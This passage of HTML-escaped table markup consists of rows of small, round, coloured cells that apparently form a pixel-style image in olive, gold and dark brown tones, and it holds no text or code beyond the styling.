&lt;td style=&quot;background-color: #959b5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b9462; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #88925e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #868e5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #868d5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #869060; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #899466; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e9865; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919962; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979a5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97975a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #95965b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #93955a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92955a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92965e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f9562; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949c65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d935e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #878857; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b8f5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #909966; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969e6a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969c67; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989f6c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979b63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949a65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97995e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #99995d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9d65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9da068; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9c63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989a63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a9b60; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d9e63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9ca372; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919467; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4e28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c7331; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cba755; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dab55b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dab457; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cda64a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba923a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #906726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #613c1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #40251c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a171a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #23131a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20101a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #140514; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #605837; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969f67; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d996a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f9968; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #909964; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #929964; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #939b67; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #959c68; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989d66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a9e67; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #999c65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989b65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #95965f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #95955a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #95965f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979960; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9aa069; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919562; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #8e915c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a9e65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #99a068; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #959c65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989d65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9fa36d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a672; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a670; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a3a56a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a2a46b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a2a367; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a266; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9fa26c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a0a46d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e9e63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a0a473; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a676; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d472e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #795224; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d8b054; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3bd66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3bd61; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6bf61; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2b95a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2aa4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b68d34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #89601f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c381b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b1f18; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1318; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f111b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190e19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170812; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a7b52; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919c66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c9564; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969c66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979c65; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9ca36b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9ba26c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989d68; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9ea169; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a2a56f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a672; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f9f67; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d9c60; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9a5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e9d62; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a672; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979b6a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #7e8354; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f9966; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #979e68; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #939865; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #888c56; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9ea26c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a5aa7a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aaac74; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a6a86c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aeaf72; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #adad72; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a2a36d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a3a672; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a4a66e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a5a669; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #abae73; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #826c40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #47231a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #977034; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3ab57; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dbb35c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dcb35a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddb55d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #deb75a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cca44a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc933f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae8434; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #956d2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d3b20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1419; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #22111b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d101a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0313; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #39352c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737e4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b7f4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a804e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #86905c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b9862; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e9760; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c9d66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a4a469; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a5a66b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a5a86d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a5a566; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a6a462; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d9c5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a9d66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a7ac73; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #989a68; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #5f5e3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #72774c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #636d49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #76764a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #777749; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818352; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #908f58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #918c50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87874d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #878e5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #929766; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a2a473; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #acae79; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #afb078; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b9b778; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a19d5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d3f27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402023; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a0793d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c0974c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2974a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7ae55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3aa53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
